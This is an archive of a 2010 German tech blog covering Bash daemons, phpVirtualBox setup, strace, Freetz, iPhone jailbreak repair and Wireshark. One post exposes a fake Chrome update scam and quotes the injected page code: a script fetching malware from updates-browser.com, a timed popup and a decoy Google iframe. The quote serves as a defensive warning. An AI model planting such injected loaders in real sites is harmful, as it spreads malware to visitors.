Wednesday, December 22, 2010

Warten auf Standard-Ausgabe in Bash oder offene Pfeife

Das Problem

Nach Aufruf eines Dämons (hier sleep) kehrt die Bash nicht gleich zurück sondern wartet.
$  time ( sleep 3 &)|cat; ps

real    0m3.005s
user    0m0.000s
sys     0m0.004s
  PID TTY          TIME CMD
 7644 pts/0    00:00:00 bash
14552 pts/0    00:00:00 ps

Erklärung

Das "sleep" Kommando in der Subshell "( )" soll in den Hintergrund gehen "&". Danach soll die Ausgabe des symbolischen "sleep"-Dämons mit einem symbolischen "cat" verarbeitet werden. Die Zeitmessung "time" dauert statt der erwarteten 0.0x volle 3 Sekunden und "sleep" ist nach dem Aufruf nicht in der Prozessliste sichtbar.

Analyse

Das passiert nur, wenn die Ausgabe über eine Pfeife "|" geleitet wird. "cat" muss auf alle Eingaben warten, bevor es sich selbst schließt.

Workaround

$ time ( sleep 3 &)>/dev/null|cat; ps

real    0m0.003s
user    0m0.000s
sys     0m0.004s
  PID TTY          TIME CMD
 7644 pts/0    00:00:00 bash
17449 pts/0    00:00:00 sleep
17450 pts/0    00:00:00 ps
Hier wird die Standardausgabe auf /dev/null umgelenkt. Damit muss "cat" nicht mehr auf die Ausgabe warten. Ein definiertes Logging kann auch in eine Datei erfolgen, falls man die Ausgabe behalten möchte:
$ ( sleep 3 &)>/var/log/meindaemon.log|cat

Empfehlung

Ein "richtiger" Dämon sollte immer selbst Standardaus- und Eingaben abkoppeln um nicht noch gekoppelte Prozesse in der aufrufenden Shell aufzuhalten.

Tools zum Debuggen

  • lsof -p (PID) Offene Dateien eines Programmes auflisten
  • pfiles (PID) Schöner offene Dateien eines Programmes auflisten
  • fuser (Datei) Herausfinden, von welcher PID eine Datei geöffnet wird

Wednesday, December 15, 2010

Leichtgläubigkeit und Virenverteilung im Browser



Heute wurde mir bei der Immobiliensuche ein Chrome Browser in der Version 10 angeboten. Sehr geschickt ist in einem Iframe unterhalb die Seite von Google eingeblendet um den Anschein von Vertrauen zu erwecken. Wer sich allerdings auskennt, kann im Release Blog nachsehen, dass es Version 10 noch gar nicht gibt [1]. Bei einem Klick auf "Aktualisierung starten" wird eine vermutlich virenbelastete .exe-Datei "Chrome_5_update.exe" heruntergeladen.



Beim "Abbrechen" ist mein System möglicherweise gefährdet - und ich lande auf domport.de. Vermutlich hat die Domaininhaberin ihre Website aufgegeben oder noch gar nicht erstellt, und leitet deshalb auf einen Domain Parker um. Diese versuchen durch den Traffic noch Werbeeinnahmen zu erzielen. Allerdings ist hier wohl das System von Domport manipuliert. Ich habe DOMPORT per E-Mail informiert aber bisher (24.12.) keine Antwort bekommen.

Wie funktioniert diese Weiterleitung technisch? Im Code, der von http://immobilien-muenchen-flughafen.de/ ausgeliefert wird, steht folgendes:
<script type="text/javascript" src="http://www.updates-browser.com/update_layer/layer_os.php?au=http%3A%2F%2Fparking.domport.de%2F%3Fdomain%3Dimmobilien-muenchen-flughafen.de"></script>
<script language="javascript">window.setTimeout('updatepop()',3000);</script>
<iframe width="100%" height="100%" src="http://www.google.de/search?q=www.immobilien-muenchen-flughafen.de" border="0" frameborder="0" style="border:0px;"></iframe>


Der erste Script Aufruf holt sich den Malware-Code bei updates-browser.com, danach wird dem Browser ein iframe mit einer Google-Suche untergeschoben. Dadurch sieht das ganze für den Laien vertrauenswürdig aus.

Die Moral: Vorsicht, Google Chrome updated sich von selbst, niemals ein Updatefenster akzieptieren!

Das Spoofing ist bekannt im Netz und zum Beispiel auch auf www.sandmeannchen.de aktiv [2]. Auch heise[3] berichtete darüber.

Ich hoffe hiermit verhindere ich einige Infektionen!

[1] http://googlechromereleases.blogspot.com
[2] http://www.freak-search.com/de/thread/3204336/spoofing_seite
[3] http://www.heise.de/newsticker/meldung/Vorgebliche-Browser-Updates-installieren-Ad-Ware-1138301.html

Friday, December 3, 2010

VirtualBox Webinterface PHPVirtualBox einrichten unter Linux

Wieso Virtualbox?
VMWare, KVM+libvirt, Qemu, was nimmt man nur? Am technologisch "besten" soll libvirt und KVM sein. Aber dafür gibt es kein geeignetes Webinterface. Dagegen ist PHPVirtualbox eine geniale Lösung, die sehr stark dem Desktop-Client nachempfunden ist. Auch ohne Vorkenntnisse sollte man sehr gut damit zurecht kommen. Hier gibt es zum Einstieg ein HOWTO mit einer Schritt für Schritt Anleitung.

Virtualbox unter Ubuntu installieren
Zunächst will Ubuntu wissen woher es Virtualbox bekommt. Ich nehme in diesem Beispiel die LTS Version 10.04 oder "Lucid", das sollte bei anderen Versionen geändert werden.
# Quellen bekannt machen
echo -e "# Virtualbox Quelle für Lucid 10.04
deb http://download.virtualbox.org/virtualbox/debian lucid non-free" \
  >> /etc/apt/sources.list
# Den sicheren Schlüssel hinzufügen
apt-key adv --recv-keys \
  --keyserver keyserver.ubuntu.com 98AB5139

# Paketlisten aktualisieren
apt-get update
# VirtualBox installieren
apt-get install virtualbox-3.2

# Benutzer hinzufügen
useradd -m vbox vboxusers
# Passwort setzen und merken für später
passwd vbox

# Benutzername für Init eintragen und starten
echo "VBOXWEB_USER=vbox" >> /etc/vbox/vbox.cfg
/etc/init.d/vboxdrv start /etc/init.d/vboxweb-service start # VirtualBox Bei jedem Booten starten update-rc.d vboxweb-service defaults
PHPVirtualBox installieren
Zunächst brauchen wir PHP selbst, dann kann auch die Applikation installiert werden.
apt-get install php5
cd /var/www/ # Downloaden und auspacken
wget http://phpvirtualbox.googlecode.com/files/phpvirtualbox-0.5.zip
unzip phpvirtualbox-0.5.zip
rm phpvirtualbox-0.5.zip # apache starten und per default starten
/etc/init.d/apache2 restart
update-rc.d apache2 defaults

Danach ist es noch nötig, die Datei "/var/www/phpvirtualbox-0.5/config.php" anzupassen:
var $username = 'vbox';
var $password = 'GemerktesPasswortVonVorhin';
Das Setup absichern
Datei /var/www/phpvirtualbox-0.5/.htaccess
AuthType Basic
AuthName "Login to phpVirtualBox"
AuthUserFile /var/www/phpvirtualbox-0.5/.htpasswd
Require user vbox
Datei .htpasswd erzeugen, bitte mit sicherem Passwort:
htpasswd -c /var/www/phpvirtualbox-0.5/.htpasswd vbox
Die .htpasswd Absicherung muss dann noch in der Apache Konfiguration für /var/www erlaubt werden:
/etc/apache2/sites-available/default:
<Directory /var/www>
...
AllowOverride None
...
</Directory>
ändern in:
/etc/apache2/sites-available/default:
<Directory /var/www>
...
AllowOverride AuthConfig
...
</Directory>
VMWare Images zu VirtualBox konvertieren
Vmwares disk images im VMDK Format können direkt von VirtualBox verwendet werden, allerdings nicht, wenn sie in mehrere Dateien aufgeteilt sind. Zusammenfügen von Images:
vmware-vdiskmanager -r name-der-alten.vmdk -t 0 neuer-single-vmdk-name.vmdk
Beim Erstellen der neuen Virtual Machines in VirtualBox habe ich auf folgendes geachtet:
- IDE festplatte wählen statt SATA
- Host-only networking

Remote Desktop Verbindung mit VRDP absichern [Update 4.12]
Die remote Desktop Verbindung ist wunderschön zum einrichten von virtuellen Maschinen. Nur leider ist das per Default ohne Passwort. Das entsprechende Kapitel in der Virtualbox Anleitung erklärt, was die verschiedenen Methoden "External" oder "Guest" bedeuten. So richtig befriedigend finde ich diese Sicherungsmethoden aber nicht. Hier sollte Virtualbox noch nachbessern.

Weblinks
PHPVirtualbox Website
Blogeintrag Moving from VMWare to VirtualBox. PHPVirtualBox on Ubuntu.

Wie programmiert man sichere Web Applikationen?

Jeder Web Entwickler sollte sich bewusst sein, dass unsicher programmierte Webapplikationen heute das Haupteinfallstor in sichere Unternehmensnetze sind.

Um diese Lücke zu schliessen wäre der beste Weg, einfach keine Lücken in Web Applikationen einzubauen. Allerdings passiert das einbauen von Lücken oft unbemerkt und manche Schlupflöcher sind eventuell noch gar nicht entdeckt. Um allerdings bekannte Fehler zu vermeiden, ist es zuerst nötig diese zu kennen. Frei nach dem Motto "know your enemy".

Eine Liste findet sich in den OWASP Top 10. Um etwas tiefer einzusteigen kann man sich die eigenen HTTP Header mit Hilfe des Burp proxy anschauen und modifizieren. Im Web gibt es eine Vielzahl von unsicheren Beispielapplikationen, die Lücken zum Live-Anschauen bieten, zum Beispiel: badstore, mutilidae, moth, eine Liste. Sehr geholfen hat mir auch das Buch "The Web Application Hackers Handbook" von den Machern von burp. Es ist zwar kein Schnäppchen aber lohnt sich doch für einen tieferen Einblick:



Disclaimer: Dies dient ausdrücklich nur dem Training und sichern von eigenen Web Applikationen.

Thursday, December 2, 2010

Testautomatisierung Open Source: Hudson, Fitnesse, JUnit

Zur Testautomatisierung verwende ich in der Regel kommerzielle Tools wie HP Loadrunner oder HP Quicktest Pro oder aber HP Quality Center.

Aber auch im Open Source Bereich gibt es viele interessante Testhelfer, hier eine kleine Auswahl:
- Hudson Automatisierte Buildprozesse inklusive Integration ins Versionsmanagement. Zum Beispiel build beim Subversion Checkin
- JUnit Bietet Möglichkeiten zum Testen von kleinen Codesegmenten. Vorteil: Es muss nicht zuerst die ganze Anwendung gebaut und gestartet werden.
- Maven ist ein standardisiertes "Makefile" für Java. Das Tool ermöglicht automatischen Download von Abhängigkeiten und bindet viele Testtools ein.
Fitnesse speichert Tests in einem Wiki und ermöglicht die schöne Ausführung.
- Selenium ist ein Web-Testing Framework um die Oberfläche von Webanwendungen durch einen Browser automatisiert zu testen.
- JMeter ermöglicht einen Lasttest durch Aufzeichen und späteres abspielen der Anfragen. Selenium benötigt pro User einen laufenden Browser und skaliert deshalb hier nicht gut.


Thursday, November 25, 2010

Die Prozess ID (PID) eines Prozesses unter Unix speichern - Beispiel ApacheDS

Immer wieder kommt es vor, dass Daemon-Prozesse ihre Prozess IDs nicht speichern können. Das hat den Nachteil, dass der Prozess später nicht mehr akkurat erkannt und beendet werden kann.

Zum Beispiel Apache Directory Server in der Version 1.5.4. Der proprietäre IBM Rational Directory Server für IBM Rational Synergy verlässt sich auf diese Version.

Das mitgelieferte .sh-Startskript ist unbrauchbar, weil nach dem Starten mit dem Bash-builtin $! nur die PID des Bash-Prozesses des Startskripts abrufbar ist. So kann die PID trotzdem gespeichert werden:
# ApacheDS implementiert in dieser Version keine PID Speicherung
# java Kommando aus der .sh Datei greppen
# Ausgabe ist ein ApacheDS logo, deshalb nach dev null
# Daemonisiert sich nicht ordentlich, deshalb muss STDERR auch nach dev null
$(grep ^java apacheds_1.5.4/apacheds.sh) >/dev/null 2>&1 &
echo $! > apacheds.pid

beim Beenden ist es dann möglich, diese PID gezielt zu killen. Hier bietet sich killproc an, weil es auch noch überprüft, ob die PID aus dem laufenden Linux Kernel zum Prozess "java" gehört:
/sbin/killproc -p apacheds.pid -TERM /pfad/nach/jre/bin/java

Problem gelöst. Für ApacheDS werden neuere Versionen sicher eine bessere Lösung bieten, zum Beispiel durch ein neues Installationslayout.

Monday, November 22, 2010

Google App Engine: Packliste Webapp Alpha

Nach etwas Arbeit habe ich endliche eine funktionierende Version online bekommen: Packliste Webapp Alpha (Disclaimer: keine vollständige Packliste, alpha)

Google App Engine ist ein kostenloser Hoster für Web Anwendungen. Die Free Quotas sind meiner Meinung nach sehr groß und sollten für die Packliste reichen. Wer für App Engine programmiert darf sich erstmal zwischen Java und Python entscheiden.

Java kenne ich schon und deshalb habe ich mich für Python und Django als Template Engine entschieden und dabei gelernt, dass Django auf Google etwas anders ist. Inzwischen finde ich mich in den Templates zurecht und kann produktiv sein.

Sehr schön ist das Framework jQuery Mobile. Es stellt das komplette Interface bereit und kümmert sich um Gerätekompatibilität. Gleichzeitig sind damit auch alle jQuery Funktionen verfügbar.

Aktuelle Funktionen meiner App:
- Anzeigen einer Packliste
- Packstücke einpacken -> durchstreichen und nach Unten bewegen
- AJAX-Onlinezähler zum Registrieren der Packhäufigkeit
- Hinzufügen von Items

TODO:
- HTML5 Local Storage für gepackte Teile
- Kategorisierung / Übersichtlichkeit
- Umwandlung in native App

Für Ideen und Verbesserungsvorschläge bin ich dankbar.

Danke an Charlotte für die Idee und an die Google Tools User Group München und das Bootcamp 2010 für die erste Android App, die zu dieser App geführt hat.

Tuesday, November 16, 2010

App-Programmierung - Web oder Nativ? Marktforschung

Am Anfang steht eine Idee: Eine Packliste, die Intelligent ist. Die mir beim Kofferpacken genau das anzeigt was am wichtigsten ist und dabei die Intelligenz der Massen nutzt.


Web oder Nativ?

Wie programmiert man heute Apps? In Java für Android oder in Objective-C fürs iPhone? Ich habe mir beides angesehen und eine Java-Android Applikation für meine Packliste geschrieben.

Allerdings will ich weder Android noch iPhone bevorzugen. Dafür gibt es Webapps. Diese können heute dank HTML5 auch offline-fähig sein. Und zum Bereitstellen für den Android oder iPhone Store kann man apparat.io oder thephonegap verwenden. Wenn man das überhaupt will, da beide derzeit Eintrittsgebühren verlangen. Vielleicht ist der Cydia Appstore besser.

Welches Framework für Web?

Zur Zeit gibt es für mobile App Entwicklung 2 große Frameworks, JQTouch von Sencha Labs und Jquery Mobile, die sich vor allem in der Lizenz unterscheiden. JQTouch bietet nur die GPL und JQuery Mobile auch alternative Lizenzen. Meine Wahl: JQuery Mobile.

Gibt es überhaupt einen Markt für eine Packliste Applikation?

Eine kleine Erkundungstour über Google Trends zeigt, dass das Suchvolumen nach Packliste sehr gering ist. Das englische "packing list" wird 10 mal häufiger gesucht. Vielleicht eine bessere Wahl als Titel?

Was bietet die Konkurrenz?

Selbst bei kostenlosen Apps will ich mir die Konkurrenz anschauen um nicht unnötigerweise Dinge zu duplizieren.

Für iPhone ist die Mammut Packing List sehr beliebt
http://www.mammut.ch/en/packinglist.html

Für Web-Anhänger gibt es eine universal packing list, die allerdings ein etwas betagtes Design hat:
http://upl.codeq.info

Und dann hat sich noch jemand an ein modernes webbasiertes Packlistenmanagement gewagt, allerdings sind dort bisher keine Inhalte hinterlegt.
http://www.packliste.org/

Ich denke da ist noch Platz für eine benutzerfreundliche, intelligente Packliste.

Sunday, November 7, 2010

Eclipse Tips For Android Programming

A small collection of Eclipse Android tips I found for little problems before Google Dev Day 2010 PreHackathon

Eclipse is quite slow in the default configuration. Quick tip:
edit (your eclipse dir)/opt/eclipse/Eclipse.app/Contents/MacOS/eclipse.ini
change
-Dosgi.requiredJavaVersion=1.5
into
-Dosgi.requiredJavaVersion=1.6
http://www.inteism.com/2010/05/how-to-speed-up-eclipse-on-os-x-10-6-snow-leopard/

Eclipse Android creates the R.class file on its own. You can remove it or use Menu - Project - Clean and it will be recreated. Good idea to do this from time to time.
http://stackoverflow.com/questions/3796490/error-unable-to-open-class-file-r-java
If you get Android Packaging Problem also use Menu - Project - Clean

Make sure you have the project selected when running build all, and not some resource
http://soft-dev-pro.blogspot.com/2010/03/android-mainoutxml-error.html


Make sure you create resources before using them or you will get Error: No resource found that matches the given name
http://brainflush.wordpress.com/2009/03/15/understanding-android-themes-and-styles/

AndroidManifest Activity Name should always be kept in sync with the classname:
http://stackoverflow.com/questions/3361896/runtime-exception-in-android-junit-testing 

Saturday, November 6, 2010

UNIX: Fehler finden mit Strace

Oft reicht die Fehlersuche über Logmeldungen nicht aus, um einen Fehler zu beheben. Dann ist ein kontrolliertes Ausführen des Programms in einem Debugger erforderlich. Dafür sind debug-Symbole nötig, und meist ein Neubau erforderlich.

Ohne debug-Symbole können allerdings auch schon nützliche Informationen mit "strace" gewonnen werden. Das Programm zeigt alle "System Calls" einer Applikation auf. Meist ist dann im Fehlerfall schon zu erkennen, welche Datei geöffnet wird oder wo genau der Fehler tatsächlich entsteht.

Natürlich muss ein Daemon vorher im Vordergrund ausgeführt werden, um die strace Befehle zu sehen. Konkret habe ich das verwendet um PPTPd in Freetz zu debuggen, siehe Dokumentation im Freetz-Wiki.

Einfaches Beispiel der Strace-Verwendung:

# strace echo 3
execve("/bin/echo", ["echo", "3"], [/* 15 vars */]) = 0
brk(0)                                  = 0x1ec03000
uname({sys="Linux", node="unknown-namer", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadb3aa000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=42988, ...}) = 0
mmap(NULL, 42988, PROT_READ, MAP_PRIVATE, 3, 0) = 0x2aeadb3ac000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\355\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1432968, ...}) = 0
mmap(NULL, 3541032, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x2aeadb5ac000
mprotect(0x2aeadb704000, 2093056, PROT_NONE) = 0
mmap(0x2aeadb903000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157000) = 0x2aeadb903000
mmap(0x2aeadb908000, 18472, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2aeadb908000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadb90d000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadb90e000
arch_prctl(ARCH_SET_FS, 0x2aeadb90db20) = 0
open("/dev/urandom", O_RDONLY)          = 3
read(3, "(\333\372\211\343\357\201", 7) = 7
close(3)                                = 0
mprotect(0x2aeadb903000, 16384, PROT_READ) = 0
mprotect(0x2aeadb5a9000, 4096, PROT_READ) = 0
munmap(0x2aeadb3ac000, 42988)           = 0
brk(0)                                  = 0x1ec03000
brk(0x1ec24000)                         = 0x1ec24000
open("/usr/lib/locale/locale-archive", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=3927616, ...}) = 0
mmap(NULL, 3927616, PROT_READ, MAP_PRIVATE, 3, 0) = 0x2aeadb90f000
close(3)                                = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadbcce000
write(1, "3\n", 23
)                      = 2
close(1)                                = 0
munmap(0x2aeadbcce000, 4096)            = 0
close(2)                                = 0
exit_group(0)                           = ?

Tuesday, November 2, 2010

Fritzbox Rettungsupdate Freetz Recover mit Push_Firmware

Über einen kleinen eingebauten FTP-Server, der nur beim Booten aktiv ist, kann man auch die Fritzbox Firmware updaten:
# ./tools/push_firmware images/neues_firmware.image
(box neustarten)
Dabei gingen meine Firmware-Einstellungen nicht verloren.

Auf Mac OS X funktionierte bei mir nur ncftp zum kopieren und ich musste im Skript auch noch einige Änderungen bei uname und mktemp vornehmen, weil die BSD-Apps vom Mac hier strikter sind.

Ich verwende gerne die neueste Version des Fritzbox-Mods Freetz, den so genannten SVN Trunk. Die Bleeding-Edge Version wird laufend aktualisiert und enthält stundenaktuelle Neuerungen, ist deshalb allerdings auch extrem instabil.

Zum Beispiel im Changeset 6093 wurde ein Bug aus 6078 vorerst revertet. Ich habe allerdings dazwischen eine neue Firmware gebaut und eingespielt - danach startete die Box nicht mehr neu. Ein Recover half mir wieder ins Internet.


Saturday, October 23, 2010

Wiki2Touch: Howto offline Wikipedia auf dem iPhone OS 4.X

Das beste Feature der iPhone/iTouch Reihe überhaupt meiner Meinung. Wichtige geschichtliche, technische oder kulturelle Fragen können ohne Internetzugang beantwortet werden. Anlässlich meines Updates auf iOS 4.1 schreibe ich ein kleines HOWTO dazu.

Installiert werden muss ein kleiner Server und die Wikipedia Daten.

1. Software auf dem iPhone installieren
# apt-get install com.jmaille.sbswiki2touch sbsettings coreutils
Hinweis: um "apt-get" verwenden zu können, muss in Cydia APT 0.7 Strict installiert worden sein

SBSettings erlaubt das schnelle aktivieren des Servers. Auf SBSettings kann man mit einem Wisch des Fingers über die Leiste oben zugreifen.

2. Wikipedia Dumps
Nun müssen noch die Wikipedia Dumps auf das Device geladen werden. Norbert stellt diese kostenlos bereit [1]. Danke! Die Dateien müssen nach /User/Media/Wikipedia/de auf dem iDevice als images_de.bin und articles_de.bin. Bei mir funktionierten nur die 120px Bilder.
Zum Kopieren nutze ich den kostenlosen iPhone Explorer [2]
3. Webclip Icon für Wiki2Touch erzeugen, danke an Lucas [3]
Nachdem Wiki2Touch mit SBSettings aktiviert ist, kann man über http://localhost:8080 auf Wiki2Touch zugreifen. Um das ganze etwas komfortabler zu machen, gibt es das Webclip - ein Lesezeichen, das wie ein App-Icon aussieht.

- gehe im MobileSafari auf http://localhost:8080
- drücke auf das (+) unten in der Mitte
- wähle "Zum Home-Bildschirm"

Und ein schönes Wiki2Touch-Icon taucht auf in der iPhone App-Liste auf :-)

4. Wikipedia geniessen. Und so sieht das aus:



Für Wiki2Touch gibt es regelmässig neue Dumps. Die aktuelle Entwicklung kann man im Apfeltalk Forum verfolgen [4]


Repair Cydia crash with apt-get for iPhone OS 4.1

iPhone 4.1 Cydia crashed on me because the Pwnagetool 4.1.2 jailbreak in expert mode installed outdated packages and missed some dependencies. To fix this I used the installed SSH connection to the iPhone to repair and update packages:

# apt-get update
# apt-get -f install
# apt-get dist-upgrade

Friday, October 22, 2010

Debian vs. Ubuntu für Server

Ubuntu und Debian benutzen das gleiche Paketformat. Allerdings bieten beide unterschiedliche Versionen an. Debian hat ein sehr unregelmäßiges stable-release weshalb oft ungetestete Pakete in einem System zu finden sind. Ubuntu dagegen macht regelmäßige Releases um Neuerungen anzubieten. [1]

Auf einem Server ist es nicht nötig, immer die neueste Version zu haben. Viel wichtiger ist es, die neueste Version der eingesetzten Serveranwendungen zu haben. Und diese neuesten Versionen werden meist von der Community bereit gestellt. Die Installation und der Betrieb dieser Anwednungen brauchen am meisten Zeit. Dabei helfen Installationsanleitungen, HowTos, Pakete, Foren, Blogs und andere Informationen, die meist von der Community bereitgestellt werden.

Wie lässt sich die beste Community finden? Die Qualität der Community ist schwer zu messen. Allerdings ist die Quantität durch Google Trends abschätzbar [2]. Der Suchbegriff "Ubuntu" überholte die anderen Distributionen in 2006. In 2010 suchen in etwa 10 mal so viele Leute nach Ubuntu wie nach Debian. Auch bei Distrowatch ist Ubuntu schon seit mehr als einem Jahr führend bei den Zugriffszahlen [3]. Laut diesen Zahlen ist Ubuntu zu empfehlen, wenn zahlreiche Community-Informationen benötigt werden.

[1] http://itmanagement.earthweb.com/osrc/article.php/12068_3890111_3/Debian-vs-Ubuntu-Contrasting-Philosophies.htm
[2] http://www.google.de/trends?q=ubuntu,debian,fedora,suse,redhat,rpm,deb&ctab=0&geo=all&date=all&sort=0
[3] http://distrowatch.com/stats.php?section=popularity

Tuesday, September 28, 2010

Wireshark Kurztipp: Expert Infos des Netzwerks

Installation unter Mac OS
Abgreifen der Pakete erfordert volle Rechte auf dem Interface:
$ sudo chown deinUserAccountName /dev/bpf*

Kurztipp
Nach dem ersten Aufnehmen (und Stoppen) sieht man alle gecapturten Pakete. Allerdings ist nicht so klar sichtbar, ob das Fehler sind oder nicht. Dafür gibt es die Expert Infos. Ganz links unten ist ein gelber Punkt (siehe roter Pfeil im Screenshot)


Jedes TCP/IP Paket hat eine Sequenznummer und so erkennt Wireshark wenn etwas nicht stimmt. Pakete out-of-order angekommen sind oder ähnliches. Alle vermuteten Probleme werden hier gezeigt. In meinem Fall gab es sehr viele vermutete Verluste, aber tatsächlich nur 4 vermutete Neuübertragungen, was aber auch an der kurzen Aufnahmezeit liegen kann. Das Ergebnis mit 1.339 Auffälligkeiten auf 24.127 Pakete (5.5%) liegt wohl am schlechten WLAN, ist aber OK.

Wireshark gibt mir den Blick auf die Grundlagen des Netzes, immer wieder interessant. Danke für den Tipp an Experteach auf der heutigen Veranstaltung über Wireshark.

Saturday, September 25, 2010

Projektmanagement mit Open Source: GanttProject

In einem größeren Projekt ist es wichtig den Überblick zu bewahren. Dafür ist die grafische Darstellung von Zeiträumen und Abhängigkeiten der einzelnen Teilaufgaben sinnvoll.

Als kommerzielles Tool sticht MS Project hervor. Im freien Bereich scheint Open Workbench am erfolgreichsten zu sein. Allerdings ist es nur für Windows. Deshalb will ich GanttProject auf meinem Mac evaluieren.

Die Startansicht auf das Projekt ist der dem Programm auch namensgebende Gantt-Chart. Benannt nach dem Unternehmensberater Henry L. Gantt wird in diesem Chart die zeitliche Ausdehnung der Tätigkeiten sichtbar.

Im zweiten Reiter lassen sich die Ressourcen mit ihrer zeitlichen Belegung ohne Abhängigkeit anzeigen. Im dritten Reiter findet sich eine "Program Evaluation and Review Technique"-Netzplan Grafik, die sehr gut zur Darstellung der Abhängigkeiten geeignet ist. Hier ein Screenshot:


Die Graphen lassen sich als HTML exportieren. Dort werden einfach Screenshots eingebunden. Auf der Oberfläche lässt sich zum Beispiel noch der Zeitraum verändern.

Die letzte Version kam Februar 2009, also vor eineinhalb Jahren heraus. Große Funktionserweiterungen sind hier offenbar nicht geplant.

Fazit: Einfaches Tool, das seinen Job tut.

Links
http://www.ganttproject.biz
http://de.wikipedia.org/wiki/Gantt-Diagramm
http://de.wikipedia.org/wiki/Program_Evaluation_and_Review_Technique
http://open-source-project-management-tools.blogspot.com

Andere Open Source Tools zum Projektmanagement
Planner aus GNOME Office
OpenProj
PHProjekt
Redmine
airTODO - Project Management Tool
Achievo
Activity Manager
BORG Calendar
dotProject
eHour
GanttProject
jxProject
Open Workbench
Projectory
Rapla
TaskJuggler
XPlaner